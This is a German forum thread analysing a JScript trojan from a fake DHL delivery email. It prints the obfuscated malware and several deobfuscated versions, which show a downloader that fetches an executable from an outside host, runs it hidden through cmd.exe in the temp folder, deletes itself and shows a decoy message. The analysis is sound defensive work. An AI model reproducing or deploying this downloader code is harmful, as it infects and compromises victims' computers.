• Das Erstellen neuer Accounts wurde ausgesetzt. Bei berechtigtem Interesse bitte Kontaktaufnahme über die üblichen Wege. Beste Grüße der Admin

DHL-Trojaner als .js-Datei im Anhang einer Mail enthält nur Funktionen

Karli1969

New member
Hallo zusammen,

ich habe heute eine Mail von DHL über die angebliche Zustellungsbereitschaft bekommen. Im Anhang der Mail befindet sich eine ZIP-Datei, in der sich wiederum ein .js-Script befindet. Ich habe mal in das Script hinein geschaut und finde dort 29 Funktionen.

Muss man dazu zuerst eine HTML-Seite öffnen, in der die js-Datei verlinkt ist, und wo diese HTML-Datei dann die einzelnen Funktionen aufruft? Oder reicht es, wenn man versehentlich die js-Datei doppelklickt, um sie zu starten? Vemutlich ja, aber welche Funktion wird dann als erstes aufgerufen? Scheinen mir alles Phantasienamen zu sein.

Ich hänge den Code mal hier an. Damit kein Unsinn passiert, habe ich alle Zeichenketten 'function' zu 'fuuuunction' umbenannt, so dass der Schadcode so nicht ausführbar ist. Hoffe, das verstößt nicht gegen die Copyrights der Virus-Ersteller. ;-)

HTML:
fuuuunction uELEio(xfNt) {
	var xewOV = [parseInt][(6584 + 1993 - 8577)](xfNt);
	return xewOV;
}
fuuuunction xDUqQO() {
	var vMFGBF = "f";
	return vMFGBF;
}
fuuuunction PHhix() {
	var gM = "r";
	return gM;
}
fuuuunction IAL() {
	var iMTuPa = "C";
	return iMTuPa;
}
fuuuunction BFSK() {
	var HoLy = "A";
	return HoLy;
}
fuuuunction ewfJiK() {
	var nmUK = "o";
	return nmUK;
}
fuuuunction wwpaqFQ() {
	var rzmZ = "c";
	return rzmZ;
}
fuuuunction eGM() {
	var YFBAlBHX = "a";
	return YFBAlBHX;
}
fuuuunction Pjwx() {
	var PKd = "e";
	return PKd;
}
fuuuunction iQmNIW() {
	var AeA = "h";
	return AeA;
}
fuuuunction NtEwB(YPZjDT) {
	var sl = uELEio(YPZjDT);
	return sl;
}
fuuuunction oYLE() {
	var OyRJji = [wwpaqFQ() + "h" + eGM() + PHhix() + IAL() + ewfJiK() + "d" + Pjwx() + "A" + "t"];
	var Iu = OyRJji[(6584 + 1993 - 8577)];
	return Iu;
}
fuuuunction cjPhowT() {
	var Ds = [wwpaqFQ() + iQmNIW() + eGM() + PHhix() + BFSK() + "t"];
	var fTRGAP = Ds[0];
	return fTRGAP;
}
fuuuunction ldXIN(qgAgHRP, BJtAzsK) {
	var pzVzZZZ = qgAgHRP;
	var sk = BJtAzsK;
	var gJEQSMQ = pzVzZZZ[cjPhowT()](sk);
	return gJEQSMQ;
}
fuuuunction zaT(mnx, UBgE) {
	var gRfzx = mnx[oYLE()](UBgE);
	return gRfzx;
}
fuuuunction WsU(LAvFImWO) {
	var spR = [xDUqQO(), PHhix(), ewfJiK(), "m", IAL(), "h", eGM(), PHhix(), IAL(), ewfJiK(), "d", Pjwx()];
	return spR[LAvFImWO];
}
fuuuunction WrRl() {
	var fJhEEHE = WsU((6584 + 1993 - 8577)) + WsU((7899 - 7898)) + WsU((1591 - 1589)) + WsU((8158 + 1047 - 9202)) + WsU((2263 + 1699 - 3958)) + WsU((2130 - 2125)) + WsU((1221 - 1215)) + WsU((4671 - 4664)) + WsU((645 + 1680 - 2317)) + WsU((1269 + 2155 - 3415)) + WsU((7653 + 1648 - 9291)) + WsU((9051 - 9040));
	return fJhEEHE;
}
fuuuunction QXkPZu(GaWqdj, Arzcyd) {
	var GLWRxd = GaWqdj % Arzcyd;
	return GLWRxd;
}
fuuuunction gIbaj(kDuQlHMa, OwZGH) {
	var bUtNK = kDuQlHMa ^ OwZGH;
	return bUtNK;
}
fuuuunction dhVR(ikM) {
	var TCbsamLp = ikM / (8158 + 1047 - 9202);
	return TCbsamLp;
}
fuuuunction uRhC(hdmq) {
	var Dv = '';
	var LZrsEVZ = (6584 + 1993 - 8577);
	var SQMW = 'sPczdBKaTzifm';
	var NQKA = SQMW["length"];
	var GudHN = (6584 + 1993 - 8577);
	var Uy = "";
	var YcOM = hdmq["length"];
	while (GudHN < YcOM - (1591 - 1589)) {
		var OdgsZfH = (6584 + 1993 - 8577);
		var VuOmhFX = GudHN + (7899 - 7898);
		var gDdklR = ldXIN(hdmq, VuOmhFX);
		var gpI = ldXIN(hdmq, GudHN + (1591 - 1589));
		var sx = ldXIN(hdmq, GudHN);
		Uy = sx + gDdklR + gpI;
		var glUnEUs = ldXIN(hdmq, GudHN);
		var Kfqjehzk102 = (ldXIN(hdmq, GudHN + (7899 - 7898)) == (6584 + 1993 - 8577));
		if (glUnEUs == OdgsZfH) {
			var BNgyw = GudHN + (7899 - 7898);
			var czx = GudHN + (2);
			var qLu = ldXIN(hdmq, czx);
			Uy = ldXIN(hdmq, BNgyw) + qLu;
		}
		var uzYRqf = ldXIN(hdmq, GudHN);
		var Kfqjehzk101 = (uzYRqf == (6584 + 1993 - 8577));
		if (Kfqjehzk101 && Kfqjehzk102) {
			var fLTRZz = GudHN + (1591 - 1589);
			Uy = ldXIN(hdmq, fLTRZz);
		}
		LZrsEVZ = NtEwB('' + Uy + '');
		var AmzZ = dhVR(GudHN);
		var Mbikpz = QXkPZu(AmzZ, NQKA);
		var Kfqjehzk = zaT(SQMW, Mbikpz);
		LZrsEVZ = gIbaj(LZrsEVZ, Kfqjehzk);
		var KCR = WrRl();
		var nKHnkaN = String;
		Dv = Dv + nKHnkaN[KCR](LZrsEVZ);
		var ANfnP = (8158 + 1047 - 9202);
		GudHN = GudHN + ANfnP;
	}
	return Dv;
}
fuuuunction ReX() {
	var af = [(2613 - 2612), [ActiveXObject][(0)], (2920 + 1003 - 3921)][1];
	return af;
}
fuuuunction yZIIUF(dfegg) {
	var bOWEs = ReX();
	var YUnGzL = new bOWEs(dfegg);
	return YUnGzL;
}
fuuuunction ybI() {
	var VHCd = uRhC("027036023010094109100081097075089011012001059006014013044044079053009000007066017126006002001");
	return VHCd;
}
fuuuunction CEJt() {
	var PcsaP = [(2613 - 2612), [WScript][0], (2920 + 1003 - 3921)][1];
	return PcsaP;
}
fuuuunction HIFyL() {
	var kkNpkSS = uRhC("062003059055040112101057025054033050057035");
	return kkNpkSS;
}
fuuuunction WkhPn(dldd, lfdff) {
	dldd[uRhC("023053015031016039013008056031")](lfdff);
}
fuuuunction UkMtjub() {
	var HOR = HIFyL();
	var uPUHvttN = CEJt();
	var bqsz = uPUHvttN[uRhC("032051017019020054013020056022039007000022")];
	var vR = ybI();
	var lD = yZIIUF(HOR);
	var vqGF = uRhC("050020044062038108024021038031008011");
	var zSQ = (7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, uRhC("052021055"));
	lD[uRhC("028032006020")](zSQ, vR, 0);
	var JQI = uRhC("000053013030");
	lD[JQI]();
	var KqUeK = uRhC("032051017019020054034015051084047015001022003026009016039038046054016012005025");
	var tLYMle = yZIIUF(KqUeK);
	if (lD[uRhC("032036002014017049")] == (2668 - 2468)) {
		var dlt = yZIIUF(vqGF);
		var DOXkuh = tLYMle[uRhC("052053023041020039040008053022047009001023053017")]((2920 + 1003 - 3921)) + '\\' + tLYMle[uRhC("052053023046001047059047053023012")]();
		dlt[uRhC("060032006020")]();
		var mXXWOG = uRhC("036003000008013050063079007018012010001");
		dlt[uRhC("039041019031")] = (2613 - 2612);
		var yWpD = yZIIUF(mXXWOG);
		dlt[uRhC("036034010014001")](lD[uRhC("033053016010011044056004022021013031")]);
		var XXtVJE = (1408 + 2189 - 3597);
		dlt[uRhC("035063016019016043036015")] = XXtVJE;
		dlt[uRhC("032049021031048045013008056031")](DOXkuh);
		dlt[uRhC("048060012009001")]();
		var SH = uRhC("016061007084001058046065123025073") + DOXkuh;
		yWpD[uRhC("001037013")](SH, 0);
	}
	WkhPn(tLYMle, bqsz);
	uPUHvttN[uRhC("022051011021")](uRhC("055049016090032045032020057031007018077026035023090010043040009032090031003031021172004024005048075"));
}
fuuuunction FwuR(RXk, qUT, BwLPu) {
	var qTp = "OHbC";
	if (qTp == true) {

	}
	var yQkaIQm = "xUcnIn";
	if (yQkaIQm === true) {
		var jITn = 75889;
	}
	switch (RXk) {
	case false:
		var mQrdcZ = "XcNGpr";
		break;
	case 1:
		var Itp = 46023;
		break;
	case 0:
		if (qUT == 0) {
			var jqUmqvj = "iPIAY";
		}
		break;
	};
	var mbgPDw = "VumeK";
	if (mbgPDw == true) {

	}
	return 0;
}
try {
	if (FwuR(0, 1, 245) == false) {
		var DMMf = true;
	}
	var WEQXLG = ([(3368 + 2053 - 5421), WScript])[(6350 + 2407 - 8756)];
	var hbvBo = WEQXLG[uRhC("058062023031022035040021061012012")];
	var mvQnY = hbvBo > (3368 + 2053 - 5421);
	if (mvQnY) {
		[(6350 + 2407 - 8756), UkMtjub][(6350 + 2407 - 8756)]();
	}
} catch (icmUI) {}
 
Zuletzt bearbeitet von einem Moderator:
Danke für deine Antwort.
FwurR ist ja erst mal eine mit den anderen 28 Funktionen gleichberechtigte Funktion.

Sie wird auch nur ein einziges Mal aufgerufen und das ziemlich direkt hinter "Try".
Ist es so, dass bei solchen js-Dateien beim Doppelklicken erst mal zur Funktion "Try" gesprungen und diese sequenziell abgearbeitet wird? (Ich nehme an ja, aber ich habe dazu beim Googeln noch nichts Bestätigendes gefunden)
 
Ist es so, dass bei solchen js-Dateien beim Doppelklicken erst mal zur Funktion "Try" gesprungen und diese sequenziell abgearbeitet wird?
Nein. Bei JS wird einfach alles von oben nach unten abgearbeitet. Eine Funktionsdeklaration macht dabei erst einmal nichts, da nur die Funktion erstellt wird. Hier ist der try-Block einfach die erste Anweisung, die wirklich etwas tut.

Zu deiner Frage wegen dem Aufrufen: wenn man in einem standard Windows auf einer .js-Datei einen Doppelklick ausführt, wird der Script Host gestartet, der das JS interpretiert und ausführt.

Ich bin der Meinung, dass der böse Code in UkMtjub ausgeführt wird.
 
Ach sooo! Das ganze wird sequentiell abgearbeitet aber die Funktionen oben werden natürlich nicht ausgeführt, solange sie nicht explizit irgendwo aufgerufen werden. Ich dachte wirklich der Interpreter würde erst mal nach "Try" suchen und dann dort anfangen zu den Code abzuarbeiten.

Jetzt ist mir das klar! Danke!!!

Was machen eigentlich die Zeilen

HTML:
var nKHnkaN = String;
Dv = nKHnkaN[KCR](LZrsEVZ);

Befindet sich ziemlich am Ende der Funktion uRhC. Die Variable String kommt im ganzen Trojaner sonst nirgendwo vor.
KCR scheint ein String mit dem Inhalt "fromCharCode" zu sein. Aber dieser String steht in eckigen Klammern, was ja eigentlich auf Arrays hindeutet. Also müsste in den eckigen Klammern eigentlich eine Zahl stehen. Und warum steht dahinter sowas wie eine Parameterliste mit dem einen Parameter LZrsEVZ?
 
Zuletzt bearbeitet von einem Moderator:
In JS wird nicht zwischen Arrayzugriffen und Zugriffen auf Objekten unterschieden. So ist String.fromCharCode identisch zu String["fromCharCode"].
 
Die Funktionen sind teilweise echt sinnlos aufgebläht, der Code ist äquivalent zu:
Code:
function uELEio(a) {
  return parseInt(a);
}
function xDUqQO() {
  return "f";
}
function PHhix() {
  return "r";
}
function IAL() {
  return "C";
}
function BFSK() {
  return "A";
}
function ewfJiK() {
  return "o";
}
function wwpaqFQ() {
  return "c";
}
function eGM() {
  return "a";
}
function Pjwx() {
  return "e";
}
function iQmNIW() {
  return "h";
}
function NtEwB(a) {
  return uELEio(a);
}
function oYLE() {
  return wwpaqFQ() + "h" + eGM() + PHhix() + IAL() + ewfJiK() + "d" + Pjwx() + "At";
}
function cjPhowT() {
  return wwpaqFQ() + iQmNIW() + eGM() + PHhix() + BFSK() + "t";
}
function ldXIN(a, d) {
  return a[cjPhowT()](d);
}
function zaT(a, d) {
  return a[oYLE()](d);
}
function WsU(a) {
  return [xDUqQO(), PHhix(), ewfJiK(), "m", IAL(), "h", eGM(), PHhix(), IAL(), ewfJiK(), "d", Pjwx()][a];
}
function WrRl() {
  return WsU(0) + WsU(1) + WsU(2) + WsU(3) + WsU(4) + WsU(5) + WsU(6) + WsU(7) + WsU(8) + WsU(9) + WsU(10) + WsU(11);
}
function QXkPZu(a, d) {
  return a % d;
}
function gIbaj(a, d) {
  return a ^ d;
}
function dhVR(a) {
  return a / 3;
}
function uRhC(a) {
  for (var d = "", e = 0, f = 13, b = 0, c = "", g = a.length;b < g - 2;) {
    var e = ldXIN(a, b + 1), c = ldXIN(a, b + 2), c = ldXIN(a, b) + e + c, h = ldXIN(a, b), e = 0 == ldXIN(a, b + 1);
    0 == h && (c = b + 1, h = ldXIN(a, b + 2), c = ldXIN(a, c) + h);
    0 == ldXIN(a, b) && e && (c = ldXIN(a, b + 2));
    e = NtEwB("" + c + "");
    c = dhVR(b);
    c = QXkPZu(c, f);
    c = zaT("sPczdBKaTzifm", c);
    e = gIbaj(e, c);
    c = WrRl();
    d += String[c](e);
    b += 3;
  }
  return d;
}
function ReX() {
  return ActiveXObject;
}
function yZIIUF(a) {
  return new (ReX())(a);
}
function ybI() {
  return uRhC("027036023010094109100081097075089011012001059006014013044044079053009000007066017126006002001");
}
function CEJt() {
  return WScript;
}
function HIFyL() {
  return uRhC("062003059055040112101057025054033050057035");
}
function WkhPn(a, d) {
  a[uRhC("023053015031016039013008056031")](d);
}
function UkMtjub() {
  var a = HIFyL(), d = CEJt(), e = d[uRhC("032051017019020054013020056022039007000022")], f = ybI(), a = yZIIUF(a), b = uRhC("050020044062038108024021038031008011"), c = (7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, uRhC("052021055"));
  a[uRhC("028032006020")](c, f, 0);
  f = uRhC("000053013030");
  a[f]();
  f = uRhC("032051017019020054034015051084047015001022003026009016039038046054016012005025");
  f = yZIIUF(f);
  if (200 == a[uRhC("032036002014017049")]) {
    b = yZIIUF(b);
    c = f[uRhC("052053023041020039040008053022047009001023053017")](2) + "\\" + f[uRhC("052053023046001047059047053023012")]();
    b[uRhC("060032006020")]();
    var g = uRhC("036003000008013050063079007018012010001");
    b[uRhC("039041019031")] = 1;
    g = yZIIUF(g);
    b[uRhC("036034010014001")](a[uRhC("033053016010011044056004022021013031")]);
    b[uRhC("035063016019016043036015")] = 0;
    b[uRhC("032049021031048045013008056031")](c);
    b[uRhC("048060012009001")]();
    a = uRhC("016061007084001058046065123025073") + c;
    g[uRhC("001037013")](a, 0);
  }
  WkhPn(f, e);
  d[uRhC("022051011021")](uRhC("055049016090032045032020057031007018077026035023090010043040009032090031003031021172004024005048075"));
}
function FwuR(a, d, e) {
  return 0;
}
try {
  if (0 == FwuR(0, 1, 245)) {
    var DMMf = !0
  }
  var WEQXLG = WScript, hbvBo = WEQXLG[uRhC("058062023031022035040021061012012")], mvQnY = 0 < hbvBo;
  mvQnY && UkMtjub();
} catch (a) {
}
;

Und das ist optimiert das hier:

Code:
function a(b) {
  return "fromCharCode".split("")[b];
}
function d(b) {
  for (var k = "", f = 0, q = 13, c = 0, e = "", r = b.length;c < r - 2;) {
    var f = b.charAt(c + 1), e = b.charAt(c + 2), e = b.charAt(c) + f + e, l = b.charAt(c), f = 0 == b.charAt(c + 1);
    0 == l && (e = c + 1, l = b.charAt(c + 2), e = b.charAt(e) + l);
    0 == b.charAt(c) && f && (e = b.charAt(c + 2));
    f = parseInt("" + e + "");
    e = "sPczdBKaTzifm".charCodeAt(c / 3 % q);
    f ^= e;
    k += String[a(0) + a(1) + a(2) + a(3) + a(4) + a(5) + a(6) + a(7) + a(8) + a(9) + a(10) + a(11)](f);
    c += 3;
  }
  return k;
}
try {
  if (0 < WScript[d("058062023031022035040021061012012")]) {
    var g = d("062003059055040112101057025054033050057035"), h = WScript, m = h[d("032051017019020054013020056022039007000022")], n = d("027036023010094109100081097075089011012001059006014013044044079053009000007066017126006002001"), p = new ActiveXObject(g), t = d("050020044062038108024021038031008011"), u = (7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, d("052021055"));
    p[d("028032006020")](u, n, 0);
    var v = d("000053013030");
    p[v]();
    var w = d("032051017019020054034015051084047015001022003026009016039038046054016012005025"), x = new ActiveXObject(w);
    if (200 == p[d("032036002014017049")]) {
      var y = new ActiveXObject(t), z = x[d("052053023041020039040008053022047009001023053017")](2) + "\\" + x[d("052053023046001047059047053023012")]();
      y[d("060032006020")]();
      var A = d("036003000008013050063079007018012010001");
      y[d("039041019031")] = 1;
      var B = new ActiveXObject(A);
      y[d("036034010014001")](p[d("033053016010011044056004022021013031")]);
      y[d("035063016019016043036015")] = 0;
      y[d("032049021031048045013008056031")](z);
      y[d("048060012009001")]();
      var C = d("016061007084001058046065123025073") + z;
      B[d("001037013")](C, 0);
    }
    x[d("023053015031016039013008056031")](m);
    h[d("022051011021")](d("055049016090032045032020057031007018077026035023090010043040009032090031003031021172004024005048075"));
  }
} catch (b) {
}
;
Schon mal deutlich übersichtlicher!

- - - Aktualisiert - - -

Code:
try {
  if (0 < WScript["Interactive"]) {
    var g = "MSXML2.XMLHTTP", h = WScript, m = h["ScriptFullName"], n = "http://0510marketing.asia/b.exe", p = new ActiveXObject(g), t = "ADODB.Stream", u = (7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, "GET");
   p["open"](u, n, 0);
    var v = "send";
    p["send"]();
    var w = "Scripting.FileSystemObject", x = new ActiveXObject(w);
   if (200 == p["Status"]) {
      var y = new ActiveXObject(t), z = x["GetSpecialFolder"](2) + "\\" + x["GetTempName"]();
      y["Open"]();
      var A = "WScript.Shell";
      y["Type"] = 1;
      var B = new ActiveXObject(A);
      y["Write")](p["ResponseBody"]);
      y["Position"] = 0;
      y["SaveToFile"](z);
      y["Close"]();
      var C = "cmd.exe /c" + z;
      B["run"](C, 0);
    }
    x["deleteFile"](m);
    h["echo"]("Das Dokument ist nicht verfügbar);
  }
} catch (b) {
}
;
Das Ding lädt also eine Datei runter und schreibt in eine cmd, das Dokument sei nicht verfügbar.
EDIT: doch nicht in die cmd, in ein WScript

- - - Aktualisiert - - -

Code:
try {
  if (0 < WScript.Interactive) {
   p = new ActiveXObject("MSXML2.XMLHTTP"),
   t = "ADODB.Stream"
   p.open((7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, "GET"), "http://0510marketing.asia/b.exe", 0);
    p.send();
   if (200 == p.status) {
      var y = new ActiveXObject(t);
      y.open();
      y.Type = 1;
      y.write(p.ResponseBody);
      y.Position = 0;
      y.SaveToFile(z);
      y.Close();
      var B = new ActiveXObject("WScript.Shell");
      z = x.GetSpecialFolder(2) + "\\" + x.GetTempName();
      B.run("cmd.exe /c" + z, 0);
    }
    x = new ActiveXObject("Scripting.FileSystemObject");
    x.deleteFile(WScript.ScriptFullName);
    WScript.echo("Das Dokument ist nicht verfügbar);
  }
} catch (b) {
}
;

- - - Aktualisiert - - -

Mal die Datei untersucht:
https://www.virustotal.com/de/url/c...38873fbfe9620a1291e94965/analysis/1462978513/

- - - Aktualisiert - - -

Code:
try {
  if (WScript.Interactive) {
   p = new ActiveXObject("MSXML2.XMLHTTP"),
   p.open((7449, 5236, 7480, 6926, 3633, 4840, 9719, 6965, 4428, "GET"), "http://0510marketing.asia/b.exe", 0);
   p.send();
	
   if (200 == p.status) {
      var y = new ActiveXObject("ADODB.Stream");
      y.open();
      y.Type = 1;
      y.write(p.ResponseBody);
      y.Position = 0;
      y.SaveToFile(z);
      y.Close();
      (new ActiveXObject("WScript.Shell")).run("cmd.exe /c" + (x.GetSpecialFolder(2) + "\\" + x.GetTempName()), 0);
    }
	 (new ActiveXObject("Scripting.FileSystemObject")).deleteFile(WScript.ScriptFullName);
    WScript.echo("Das Dokument ist nicht verfügbar);
  }
} catch (b) {
};
Letzte Version.

Nach aktueller Erkenntnis tut das Ding folgendes:
- Download der Datei b.exe
- auf der cmd den Befehl x.GetSpecialFolder(2) + "\\" + x.GetTempName() ausführen (kp was das tut)
- Das Sich selbst löschen
- "Das Dokument ist nicht verfügbar" ausgeben
 
Zuletzt bearbeitet:
Ja, x muss noch durch (new ActiveXObject("Scripting.FileSystemObject")) ersetzt werden.
z bezeichnet x.GetSpecialFolder(2) + "\\" + x.GetTempName();. Habe ich vergessen.
 
Ja - dann wird die EXE da einfach ausgeführt. So wie es bei solchen Schadscripten meistens der Fall ist.

PS: [korintenkacker]
im 2. fall ein leerstring
Fast:
Code:
var a = "";
var b = new String();
alert(a === b);
Die Variable ist die Objektrepräsentation des leeren Strings...[/korintenkacker]
 
Danke für Eure Hinweise, insbesondere an Paul Schmitz!!! *daumen hoch* *danke* *freu* :)

Werde mir das allerdings noch paar mal durchlesen müssen.
 
Zurück
Oben